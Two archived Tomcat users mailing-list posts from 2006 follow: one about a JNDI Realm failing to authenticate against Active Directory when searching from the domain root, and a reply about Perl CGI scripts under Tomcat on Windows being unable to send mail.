I'm trying to get a JNDI Realm working as one might expect with Active Directory. Tomcat 5.5.20 Java 1.5.06 Windows 2000 Server The basic issue is that searching from a domain root "dc=company,dc=com" and using userSubtree="true" results in: Oct 31, 2006 3:18:20 PM org.apache.catalina.realm.JNDIRealm authenticate SEVERE: Exception performing authentication javax.naming.PartialResultException: Unprocessed Continuation Reference(s); remaining name 'dc=company,dc=com' If I use a more specific search base of "ou=Employees,dc=company,dc=com" and then the userSubtree is irrelevant, it works fine. Problem is our AD structure demands that users be in two different OU's and thus the search must be done from the root. I understand that AD does not handle referrals as expected and that could be contributing. A related ref here: http://forum.java.sun.com/thread.jspa?threadID=386553&messageID=1677974 And here: http://marc.theaimsgroup.com/?l=tomcat-dev&m=110080212903359&w=2 a post on the first thread by "jainee" offers that possibly using NamingEnumeration.hasMoreElements() and NamingEnumeration.nextElement() Instead of NamingEnumeration.hasMore() and NamingEnumeration.next() in the JNDIRealm.java class fixes the problem. Is this a bug? Anyone have pointers on a solution through configuration? - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: CGI vs SMTP vs Tomcat
Tomcat is running on my (Windows 2003) machine as a service logging in as a Local System account. When I ran my test Perl script on the command line, I was logged in as a administrator account. I tried changing the account it uses to a local admin account and it couldn't find any of the webpages (404 errors) Windows Firewall is explicitly turned off on my server. Tomcat finds Perl through the web.xml file. There is a executable line in the config that I pass the executable path to. All my other Perl cgi scripts work fine, except for a file upload form which is a separate e-mail. (I can't seem to figure out how to compile a single .java file to a .class file. I find myself downloading all the dependencies for Tomcat so it will all compile and I can extract a single class file.) ~Warren Halstead -Original Message- From: Wade Chandler [mailto:[EMAIL PROTECTED] Sent: Wednesday, October 18, 2006 7:23 To: Tomcat Users List; [EMAIL PROTECTED] Subject: Re: CGI vs SMTP vs Tomcat The JVM security policy couldn't just block TCP/IP access for the Perl process. The reason being the child process...perl in this case will not be run in the JVM like a class which will make calls inside the JVM space...a.k.a the JVM can't say...you are not allow to make the call to make the connection. Tomcat would have to create a TCP/IP proxy to block access for the perl process or install a native driver to block low-level system calls. My guess is that maybe there is another firewall (personal firewall) or something like it blocking. I wrote another email. Another thought is maybe the user Tomcat is being run as does not have all the paths setup which would allow the Perl script to use the NET package...not sure, but maybe possible I would think if Active Perl can be installed for a user or for the entire system, but then I wouldn't know how it is finding the perl exe to launch the .pl file by extension if it were not installed for all, but in Windows certain permissions can affect parts of applications depending on what they are depending on...maybe a lock down tool was run on the system at some point (would mess up permissions and fixing them can be impossible some times)? Wade - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]